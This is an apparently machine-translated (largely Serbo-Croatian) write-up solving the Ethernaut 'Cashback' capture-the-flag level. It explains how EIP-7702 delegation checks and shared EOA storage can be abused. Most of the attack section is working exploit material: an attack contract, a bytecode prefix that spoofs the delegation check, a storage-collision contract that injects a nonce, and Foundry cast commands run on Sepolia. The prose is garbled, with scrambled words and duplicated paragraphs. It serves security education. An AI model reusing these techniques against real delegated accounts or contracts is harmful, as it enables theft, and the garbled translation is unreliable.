Dok sam kopao u nijanse EIP-7702, radio sam kroz izazov – scenarij osmišljen da testira da li programeri zaista razumeju bezbednosne implikacije delegiranja na bazi 7702. Na površini, izazov izgleda jednostavno: program za povrat novca koji nagrađuje korisnike za plaćanja na lancu i dodjeljuje NFT once enough points are accumulated. Uslovi korišćenja Cashback Odličan Cashback Uslovi korišćenja Cashback Da bi učestvovali, korisnici moraju delegirati na ugovor o povratku pomoću EIP-7702. Tek tada mogu pozvati payWithCashback i početi zarađivati bodove. U stvarnosti, EIP-7702 delegacija stvara sigurnosne zamke koje je ovaj izazov dizajniran da dokaže. Ovaj spisak pokriva kako ugovor treba da radi, gde pretpostavke ne uspevaju, i kako se pojavljuje put eksploitacije. izazov https://ethernaut.openzeppelin.com/level/36 https://ethernaut.openzeppelin.com/level/36 Upravo ste se pridružili Cashback-u, najvrućoj kriptovalutnoj nebanku u gradu. Njihov teren je neodoljiv: za svako plaćanje na lancu koje napravite, zarađujete bodove. Sistem iskorištava EIP-7702 kako bi omogućio EOA da akumuliraju cashback. Korisnici moraju delegirati na ugovor Cashback da bi koristili funkciju payWithCashback. Glasine kažu da postoji stražnja vrata za korisnike energije. Vaš kratak je jednostavan: postati noćna mora programa lojalnosti. Maksimalno iskoristite svoj povratak u svakoj podržanoj valuti i otiđite s najmanje dva Super Cashback NFT-a, od kojih jedan mora odgovarati vašoj adresi igrača. Upravo ste se pridružili Cashback-u, najvrućoj kriptovalutnoj nebanku u gradu. Njihov teren je neodoljiv: za svako plaćanje na lancu koje napravite, zarađujete bodove. Sistem iskorištava EIP-7702 kako bi omogućio EOA da akumuliraju cashback. Korisnici moraju delegirati na ugovor Cashback da bi koristili funkciju payWithCashback. Glasine kažu da postoji stražnja vrata za korisnike energije. Vaš kratak je jednostavan: postati noćna mora programa lojalnosti. Maksimalno iskoristite svoj povratak u svakoj podržanoj valuti i otiđite s najmanje dva Super Cashback NFT-a, od kojih jedan mora odgovarati vašoj adresi igrača. // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import {TransientSlot} from "@openzeppelin/contracts/utils/TransientSlot.sol"; /*////////////////////////////////////////////////////////////// CURRENCY LIBRARY //////////////////////////////////////////////////////////////*/ type Currency is address; using {equals as ==} for Currency global; using CurrencyLibrary for Currency global; function equals(Currency currency, Currency other) pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(other); } library CurrencyLibrary { error NativeTransferFailed(); error ERC20IsNotAContract(); error ERC20TransferFailed(); Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); function isNative(Currency currency) internal pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(NATIVE_CURRENCY); } function transfer(Currency currency, address to, uint256 amount) internal { if (currency.isNative()) { (bool success,) = to.call{value: amount}(""); require(success, NativeTransferFailed()); } else { (bool success, bytes memory data) = Currency.unwrap(currency).call(abi.encodeCall(IERC20.transfer, (to, amount))); require(Currency.unwrap(currency).code.length != 0, ERC20IsNotAContract()); require(success, ERC20TransferFailed()); require(data.length == 0 || true == abi.decode(data, (bool)), ERC20TransferFailed()); } } function toId(Currency currency) internal pure returns (uint256) { return uint160(Currency.unwrap(currency)); } } /*////////////////////////////////////////////////////////////// CASHBACK CONTRACT //////////////////////////////////////////////////////////////*/ /// @dev keccak256(abi.encode(uint256(keccak256("Cashback")) - 1)) & ~bytes32(uint256(0xff)) contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { using TransientSlot for *; error CashbackNotCashback(); error CashbackIsCashback(); error CashbackNotAllowedInCashback(); error CashbackOnlyAllowedInCashback(); error CashbackNotDelegatedToCashback(); error CashbackNotEOA(); error CashbackNotUnlocked(); error CashbackSuperCashbackNFTMintFailed(); bytes32 internal constant UNLOCKED_TRANSIENT = keccak256("cashback.storage.Unlocked"); uint256 internal constant BASIS_POINTS = 10000; uint256 internal constant SUPERCASHBACK_NONCE = 10000; Cashback internal immutable CASHBACK_ACCOUNT = this; address public immutable superCashbackNFT; uint256 public nonce; mapping(Currency => uint256 Rate) public cashbackRates; mapping(Currency => uint256 MaxCashback) public maxCashback; modifier onlyCashback() { require(msg.sender == address(CASHBACK_ACCOUNT), CashbackNotCashback()); _; } modifier onlyNotCashback() { require(msg.sender != address(CASHBACK_ACCOUNT), CashbackIsCashback()); _; } modifier notOnCashback() { require(address(this) != address(CASHBACK_ACCOUNT), CashbackNotAllowedInCashback()); _; } modifier onlyOnCashback() { require(address(this) == address(CASHBACK_ACCOUNT), CashbackOnlyAllowedInCashback()); _; } modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } modifier onlyEOA() { require(msg.sender == tx.origin, CashbackNotEOA()); _; } modifier unlock() { UNLOCKED_TRANSIENT.asBoolean().tstore(true); _; UNLOCKED_TRANSIENT.asBoolean().tstore(false); } modifier onlyUnlocked() { require(Cashback(payable(msg.sender)).isUnlocked(), CashbackNotUnlocked()); _; } receive() external payable onlyNotCashback {} constructor( address[] memory cashbackCurrencies, uint256[] memory currenciesCashbackRates, uint256[] memory currenciesMaxCashback, address _superCashbackNFT ) ERC1155("") { uint256 len = cashbackCurrencies.length; for (uint256 i = 0; i < len; i++) { cashbackRates[Currency.wrap(cashbackCurrencies[i])] = currenciesCashbackRates[i]; maxCashback[Currency.wrap(cashbackCurrencies[i])] = currenciesMaxCashback[i]; } superCashbackNFT = _superCashbackNFT; } // Implementation Functions function accrueCashback(Currency currency, uint256 amount) external onlyDelegatedToCashback onlyUnlocked onlyOnCashback{ uint256 newNonce = Cashback(payable(msg.sender)).consumeNonce(); uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; if (cashback != 0) { uint256 _maxCashback = maxCashback[currency]; if (balanceOf(msg.sender, currency.toId()) + cashback > _maxCashback) { cashback = _maxCashback - balanceOf(msg.sender, currency.toId()); } uint256[] memory ids = new uint256[](1); ids[0] = currency.toId(); uint256[] memory values = new uint256[](1); values[0] = cashback; _update(address(0), msg.sender, ids, values); } if (SUPERCASHBACK_NONCE == newNonce) { (bool success,) = superCashbackNFT.call(abi.encodeWithSignature("mint(address)", msg.sender)); require(success, CashbackSuperCashbackNFTMintFailed()); } } // Smart Account Functions function payWithCashback(Currency currency, address receiver, uint256 amount) external unlock onlyEOA notOnCashback { currency.transfer(receiver, amount); CASHBACK_ACCOUNT.accrueCashback(currency, amount); } function consumeNonce() external onlyCashback notOnCashback returns (uint256) { return ++nonce; } function isUnlocked() public view returns (bool) { return UNLOCKED_TRANSIENT.asBoolean().tload(); } } Predviđeni sigurnosni model Cashback ugovor koristi modifikatore za kontrolu Pozivi i code executes: who where : Caller identity checks : Ensures the caller is an EOA, not a contract ( ). onlyEOA() msg.sender == tx.origin onlyCashback(): Osigurava da je pozivač sam ugovor o Cashback-u. onlyNotCashback(): Osigurava da pozivač nije ugovor o povratku novca. : Execution context checks : Ensures code is executing at the Cashback contract address. Functions with this modifier can only run when called directly on the contract. onlyOnCashback() notOnCashback(): Osigurava da se kôd NE izvršava na adresi ugovora o Cashback-u. U suštini, sistem bi trebao raditi ovako: Delegirani EOA poziva payWithCashback na sebe. To radi jer se poziv događa neOnCashback i prolazi samoEOA. Funkcija payWithCashback poziva Cashback.accrueCashback direktno na instanci Cashback. Ima tri modifikatora: onlyDelegatedToCashback prolazi jer je pozivač delegiran na Cashback, onlyOnCashback prolazi jer se poziv odvija na Cashback direktno. onlyUnlocked modifier odnosi se na korak 3. onlyUnlocked modifier pozivi jeUnlocked na msg.sender. Pošto je payWithCashback otključao, ova provjera prolazi. Tokom izvođenja, akrueCashback pozivi consumeNonce na msg.sender. Ova funkcija ima dva modifikatora: samoCashback prolazi jer je pozvan instancom Cashback, a neOnCashback prolazi jer ova funkcija radi u kontekstu EOA-e. Konačno, consumeNonce povećava nonce u EOA skladištenju. Pronađite konstante Prije nego što možemo napasti, moramo identificirati ključne parametre i adrese izazova. Podržane valute Cashback ugovor podržava dvije valute. Iako nije eksplicitno definirano u opisu izazova, možemo ih naći: Uslovi korišćenja na lokalnoj razini Uslovi korišćenja na lokalnoj razini Sloboda kovanica (FREE) na 0x13AaF3218Facf57CfBf5925E15433307b59BCC37 To možete provjeriti uzimanjem adrese nivoa i provjeravanjem i pozivajući se na . Vaš kod FREE() Funkcije Super povratak NFT You can find its address by calling Na vaš Cashback slučaj. superCashbackNFT Maximum Cashback and Cashback Rates Da bismo izračunali potrebne troškove za maksimalni povrat novca, potrebni su nam dva parametra. i na vašem slučaju. Ugovor koristi Za procentualne izračune: maxCashback cashbackRates BASIS_POINTS = 10000 uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; Na primjer, Freedom Coin ima max cashback od I stopa od (i.e. 2%). To calculate the required spend: 500e18 200 amount = maxCashback * BASIS_POINTS / rate amount = 500e18 * 10000 / 200 = 25000e18 To je 25.000 besplatnih žetona. nečija Počinje na 0. ugovor montira Super Cashback NFT kada vaš nonce dosegne , which is hardcoded to 10,000. SUPERCASHBACK_NONCE Attack Despite the complex architecture looking unbreakable at first glance, there are several flawed assumptions we can exploit. Gledajući arhitekturu, primjećujemo da možemo pozvati Iako su njegovi modifikatori dizajnirani da ograniče pristup unutarnjim pozivima preko , sama funkcija je spoljna - tako da je možemo nazvati direktno ako zaobiđemo čuvare: accrueCashback payWithCashback onlyOnCashback Možemo ga zaobići pozivanjem instance Cashback direktno. onlyUnlocked Budući da ovaj modifikator poziva jeUnlocked na msg.sender, možemo ga zaobići pozivanjem iz ugovora sa funkcijom isUnlocked koja uvijek vraća istinu. samoDelegatedToCashback Ovo je jedan od trikova. Hajde da ga detaljno ispitamo: modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } Naši modifikator pokušava provjeriti da je pozivač delegirao na ugovor o povratku novca čitanjem adrese delegiranja iz bajtecoda računa. S EIP-7702, delegirani računi imaju poseban bajtecode: followed by the 20-byte delegation address. The modifier reads these 20 bytes (which it expects to be an address) and verifies they match the Cashback instance address. onlyDelegatedToCashback 0xef0100 Za bypass , potreban nam je bajtokod našeg ugovora o napadu kako bi izgledao kao valjan imenovalac delegiranja – konkretno, Cashback adresa mora se pojaviti u bajtima 4–23. onlyDelegatedToCashback 0x??????<CASHBACK_ADDRESS>????...<rest_of_contract>. To ćemo kasnije rukovati ručno. Prvo, kreirajmo ugovor o napadu. Priprema ugovora o napadu Kao što je razgovarano, naš ugovor će biti pozvan nazad od strane instance Cashback dva puta: da proveri da li je otključan i da konzumira nonce. vraćamo vrijednost potrebnu za SuperCashback NFT. Želimo punu naknadu za obje valute, ali budući da su NFT-ovi minirani s adresom pozivača kao ID, drugi poziv će se vratiti. pa ćemo se vratiti na Noćas samo jednom. consumeNonce accrueCashback 10,000 We'll set the currencies and the Cashback address as constants. Since we're calling direktno, ne trebamo trošiti prave žetone - samo moramo proći prave iznose kako bismo dobili maksimalni povrat novca. accrueCashback Konačno, prenesemo sav cashback i NFT na adresu našeg igrača. Evo cjelovitog ugovora: // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {Currency, Cashback} from "./Cashback.sol"; contract AccrueCashbackAttack { Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); Currency public constant FREEDOM_COIN = Currency.wrap(0x13AaF3218Facf57CfBf5925E15433307b59BCC37); Cashback public constant CASHBACK_INSTANCE = Cashback(payable(0xf991E138bA49e25a7DA1a11A726077c77c6241A8)); bool nftMinted; function attack(address player) external { uint256 nativeMaxCashback = CASHBACK_INSTANCE.maxCashback(NATIVE_CURRENCY); uint256 freeMaxCashback = CASHBACK_INSTANCE.maxCashback(FREEDOM_COIN); // Calculate amounts required to reach max cashback for each currency uint256 BASIS_POINTS = 10000; // Basis points from Cashback uint256 nativeAmount = (nativeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(NATIVE_CURRENCY); uint256 freedomAmount = (freeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(FREEDOM_COIN); // Call accrueCashback to mint cashback tokens and SuperCashback NFT to the attack contract CASHBACK_INSTANCE.accrueCashback(NATIVE_CURRENCY, nativeAmount); CASHBACK_INSTANCE.accrueCashback(FREEDOM_COIN, freedomAmount); // Transfer cashback tokens from attack contract to player CASHBACK_INSTANCE.safeTransferFrom(address(this), player, NATIVE_CURRENCY.toId(), nativeMaxCashback, ""); CASHBACK_INSTANCE.safeTransferFrom(address(this), player, FREEDOM_COIN.toId(), freeMaxCashback, ""); // Transfer the SuperCashback NFT (minted with the attack contract's address as ID) IERC721 superCashbackNFT = IERC721(CASHBACK_INSTANCE.superCashbackNFT()); superCashbackNFT.transferFrom(address(this), player, uint256(uint160(address(this)))); } function isUnlocked() public pure returns (bool) { return true; } function consumeNonce() external returns (uint256) { // We can mint only one NFT, because they are minted with id of the contract if (nftMinted) { return 0; } nftMinted = true; return 10_000; } } Prilagođavanje Bytecode da biste zaobišli kontrolu delegiranja Sada dolazi triki deo. Moramo promijeniti Bytecode da biste prošli modifier. First, compile your contracts. AccrueCashbackAttack onlyDelegatedToCashback Ako koristite Hardhat, bajtecode će biti u Postoje dva svojstva: artifacts/contracts/Attack.sol/AccrueCashbackAttack.json Bytecode je kreiranje (init) kod koji se izvršava jednom tijekom implementacije. Pokreće konstruktor logiku i vraća runtime kod koji treba pohraniti na lancu. implementedBytecode je runtime kod koji se pohranjuje na lancu nakon implementacije i izvršava svaki put kada se pozove ugovor. Mi ćemo staviti našu adresu instance Cashback na offset Tačno gde U potrazi za njom, The Slijedi nakon: 0x03 onlyDelegatedToCashback deployedBytecode 0x??????<CASHBACK_ADDRESS>????<ATTACK_DEPLOYED_BYTECODE> Skakanje preko ugrađene adrese Da biste preskočili adresu od 20 bajta tokom normalnog izvršenja, koristićemo ove opkodove: PUSH1 za određivanje odredišta za skok to perform the jump JUMP JUMPDEST za označavanje odredišta (potrebno da se izbegne povratak) Na ovaj način, samo Modifikacija čitača . onlyDelegatedToCashback <CASHBACK_ADDRESS> Ali na koji kompromis bismo trebali skočiti? Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 ?? | PUSH ?? | [02] | 56 | JUMP | [03] | <CASHBACK_ADDRESS> | | [17] | ??? | ??? | Očigledna, ali pogrešna pretpostavka Upravo nakon U stvarnosti, odgovor ovisi o tome koliko ste sretni sa adresom instance Cashback. 0x17 <CASHBACK_ADDRESS> Moj slučaj je u . So my contract could start like this: 0xf991E138bA49e25a7DA1a11A726077c77c6241A8 Cashback address ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ 0x601756f991E138bA49e25a7DA1a11A726077c77c6241A85B ↑↑↑↑↑↑ ↑↑ PUSH + JUMP JUMPDEST Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 17 | PUSH 0x17 | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [17]? | 5B | JUMPDEST | Međutim, hajde da vidimo kako se ovaj bajtecode razdvaja: U pitanju je bajt! Na našoj adresi je opcode. kada se EVM susreće , on konzumira sledećih 30 bajta kao doslovne argumente, a ne kao upute. (Naravno ) je pozicioniran na offset , ali se konzumira kao podaci za umesto da se izvršava kao uputstvo. Ovo korumpira tok bajt-koda, što uzrokuje kada izvršenje dostigne tu lokaciju. 0x7D PUSH30 PUSH30 JUMPDEST 5B 0x17 PUSH30 EVM error: InvalidJump Let's fix this. We'll add padding to push our izvan 30 bajtova koje je potrošio : JUMPDEST PUSH30 Savršeno! pojavljuje se na 2a. Hajde da ažuriramo naše Moja konačna verzija: JUMPDEST PUSH1 0x602a56f991E138bA49e25a7DA1a11A726077c77c6241A8000000000000000000000000000000000000005B<attack-bytecode> Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 2a | PUSH 0x2a | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [2a] | 5B | JUMPDEST | This prefix totals 43 bytes: (2) više od (1) + (20) + 19) više od Uslovi korišćenja PUSH1 JUMP address padding JUMPDEST Popravak Jump kompenzacije Sada možemo dodati naše Ali budući da smo povećali veličinu ugovora za 43 bajta, moramo prilagoditi sve i offsets by this amount. deployedBytecode JUMP JUMPI For demonstration, let's see how to do this manually. Go to , choose Bytecode, and paste your Na desnoj strani ćete vidjeti listu opcoda. Pronađite prvi at [0f]. Find all opcodes used by i Vrednosti koje se podudaraju sa ovim and increase their values by 43. https://www.evm.codes/playground deployedBytecode JUMPDEST PUSH2 JUMP JUMPI JUMPDEST Ova metoda nije savršena – možda slučajno promijenimo values that aren't jump destinations. However, false positives should be rare enough for this challenge. PUSH2 Why PUSH2 ? Because the initial contract size was 3142 (0x0C46) bytes, jump destinations can exceed 255, so the compiler must use PUSH2 to represent them. Kompjuter koristi PUSH2 uniformly for all jump destinations rather than mixing PUSH1 i PUSH2 . Zašto PUSH2 ? Because the initial contract size was 3142 (0x0C46) bytes, jump destinations can exceed 255, so the compiler must use PUSH2 da ih predstavljaju. Kompjuter koristi PUSH2 ujednačeno za sve destinacije za skok, a ne mešanje PUSH1 i PUSH2 . Doing this manually would be overwhelming, so I created a script that: Finds all opcodes and stores their initial and adjusted offsets JUMPDEST Finds all opcodes with values matching initial offsets and updates them to adjusted values PUSH2 JUMPDEST Možete pronaći scenarij za automatizaciju ovog procesa u . Repozitorija Repozitorija Nikada slepo preuzeti i izvršiti slučajni kod, uključujući ovaj! Always review and understand what you're running. Use isolated environments like devcontainers or VMs when experimenting with untrusted code. Never blindly download and execute random code, including this one! Uvek pregledajte i razumite što radite. Koristite izolovana okruženja kao što su devcontaineri ili VM-ovi kada eksperimentišete s nepoverljivim kodom. Kreiranje Bytecode Da bismo implementirali ovaj ugovor, moramo izraditi bytecode kreiranje. Hajde da izmijenimo postojeće kreiranje kod. vrijednost u artefakata sadrži ga na početku. evo moje: . Disassembling it shows: bytecode 0x6080604052348015600e575f5ffd5b50610c468061001c5f395ff3fe [10] PUSH2 0c46 ovo is the initial code length— . 0c46 3142 bytes We need to use our adjusted code length plus the 43 bytes we added manually. For me, that's (3185 bajti). konačni kôd za stvaranje: 0C71 0x6080604052348015600e575f5ffd5b50610C718061001c5f395ff3fe ↑↑↑↑ Završna skupština Bytecode Konačni bajtokod je jednostavno kôd stvaranja konekcioniran s prilagođenim . deployedBytecode Izvršite napad Hajde da implementiramo naš bytecode koristeći Od strane Foundry: cast PRIVATE_KEY=0x{set-your-ethernaut-player-private-key} SEPOLIA_URL=https://{use-alchemy-or-infura} BYTECODE=0x{the-final-bytecode} YOUR_PLAYER_ADDRESS=0x{your-player-address} cast send --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY --create $BYTECODE Izvršite ovaj napad: cast send $ATTACK_CONTRACT_ADDRESS \ "attack(address)" \ $YOUR_PLAYER_ADDRESS \ --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY Provjerite svoju transakciju na Etherscan. Trebali biste vidjeti unutrašnje transakcije povezane s cashback tokenima i NFT transferima. U ovom trenutku, postigli ste maksimalni povrat novca za obe valute i dobili ste jedan NFT. Međutim, njegov ID odgovara adresi vašeg ugovora o napadu, a ne vašoj adresi igrača. Iskorištavanje sudara skladišta za drugi NFT We still need another NFT with our address as the ID. We can't simply repeat the same approach as in the previous attack. The only way is to actually execute kao što je predviđeno – delegiranjem vaše EOA na ugovor o povratku novca. Međutim, ne možemo krivotvoriti function, so we need to increase our nonce some other way. payWithCashback consumeNonce EIP-7702 delegacija ne stvara zasebno skladištenje za svaki delegirani ugovor. Kada EOA delegira na ugovor, kôd se izvodi protiv vlastitog skladištenja EOA. Ako delegirate na različite ugovore tijekom vremena, svi čitaju i pišu na iste slote za skladištenje u vašem EOA. Iskorištavanjem ove kolizije skladištenja možemo manipulirati nonce. Stvorit ćemo ugovor koji piše na isti slot za skladištenje, postaviti nonce na 9999, zatim ponovno delegirati na Cashback i izvršiti još jednu transakciju kako bi se pokrenula NFT kovanica. Imajte na umu da Cashback račun koristi direktivu o prilagođenom rasporedu skladištenja kako bi postavio svoje skladištenje na određeni slot. Ova funkcija, uvedena u Solidity 0.8.29, omogućava ugovorima da presele svoje varijable skladištenja na proizvoljne pozicije. contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { // ... constants and immutables uint256 public nonce; } Naši je prva varijabilna u rasporedu – sve prethodne varijable su konstante i nepromjenjive, tako da ne uzimaju slojeve. from OpenZeppelin takes 3 slots before , so the actual slot is at Znajući to, hajde da ubrizgavamo veliku nonce u naše EOA skladištenje. nonce ERC1155 nonce 0x442a9...ba03 Here's the manipulation contract I deployed to Sepolia: nonce contract NonceAttack layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba03 { uint256 public injectedNonce; // The next call to payWithCashback will increment it to 10_000 and we will get SuperCashback NFT function injectNonce() external { injectedNonce = 9999; } } The next step is to delegate our EOA to Foundry je supports authorization transactions. Usually we'd have to request our account nonce, increment it by one, sign an authorization transaction, and only then send it. But since we're sending it ourselves, we can simply provide an authorization address. NonceAttack. cast cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <NONCE_ATTACK_ADDRESS> Sada možemo postaviti nonce pomoću Zapamtite, mi ovu funkciju nazivamo na sebi, a ne na instance: injectNonce() NonceAttack cast send $YOUR_PLAYER_ADDRESS \ "injectNonce()" \ --rpc-url $SEPOLIA_URL \ --private-key $PRIVATE_KEY Završni napad korak With the nonce now set to 9999 through storage collision exploitation, the final attack step involves re-delegating to the Cashback contract and executing one more transaction to push the nonce to 10,000, triggering the minting of the second SuperCashback NFT with your player address as its ID. Ponovno delegirajte svoj nalog na instanci Cashback. Slijedite iste korake kao i kod NonceAttack: cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <CASHBACK_ADDRESS> Cashback ugovor pruža nonce funkciju za provjeru vaš nonce. Hajde da proverimo da je 9999: cast call $YOUR_PLAYER_ADDRESS \ "nonce()" \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL Execute the final step by calling on yourself: payWithCashback cast send $YOUR_PLAYER_ADDRESS \ "payWithCashback(address,address,uint256)" \ 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE \ 0x03dcb79ee411fd94a701ba88351fef8f15b8f528 \ 1 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL Sada posjedujete 2 NFT-a i maksimalni cashback. I prije nego što odemo, ne zaboravite da uklonite delegaciju. cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth 0x0000000000000000000000000000000000000000 ono što smo naučili 1. Validate delegation the right way. Uvek proverite prefix before extracting the delegated target. Thanks to EIP-3541, which forbids deploying contracts whose bytecode starts with 0xef, this prefix reliably distinguishes delegated EOAs from arbitrary contracts. 0xef0100 2. Never store protocol-critical state inside an EOA. Vlasnik EOA može delegirati na bilo koji ugovor, a taj ugovor može slobodno napisati na iste reže za skladištenje - uključujući one koje možete pretpostaviti da su privatne. . your protocol's storage